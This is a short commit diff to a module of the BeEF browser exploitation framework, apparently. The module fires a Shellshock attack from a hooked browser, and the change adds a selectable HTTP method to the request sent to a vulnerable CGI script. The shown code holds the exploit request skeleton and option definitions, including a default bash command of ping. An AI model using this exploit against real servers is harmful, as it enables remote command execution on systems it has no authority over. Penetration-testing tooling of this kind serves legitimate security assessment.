Add HTTP method option

modules/exploits/shell_shocked/command.js

@@ -9,8 +9,9 @@ beef.execute(function () {
     try {
         var target = "<%=@Target%>";
         var command = "<%=@Bash_Command%>";
+        var method = "<%=@method%>";
         var xhr = new XMLHttpRequest();
-        xhr.open("GET", target, true);
+        xhr.open(method, target, true);
         xhr.onload = function () {
         };
         xhr.onreadystatechange = function () {

modules/exploits/shell_shocked/module.rb

@@ -8,6 +8,7 @@ class Shell_shocked < BeEF::Core::Command
   def self.options
     return [
         {'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi'},
+        { 'name' => 'method', 'ui_label' => 'HTTP Method',  'value' => 'GET' },
         {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => '/bin/ping -c 3 www.google.it'}
     ]
   end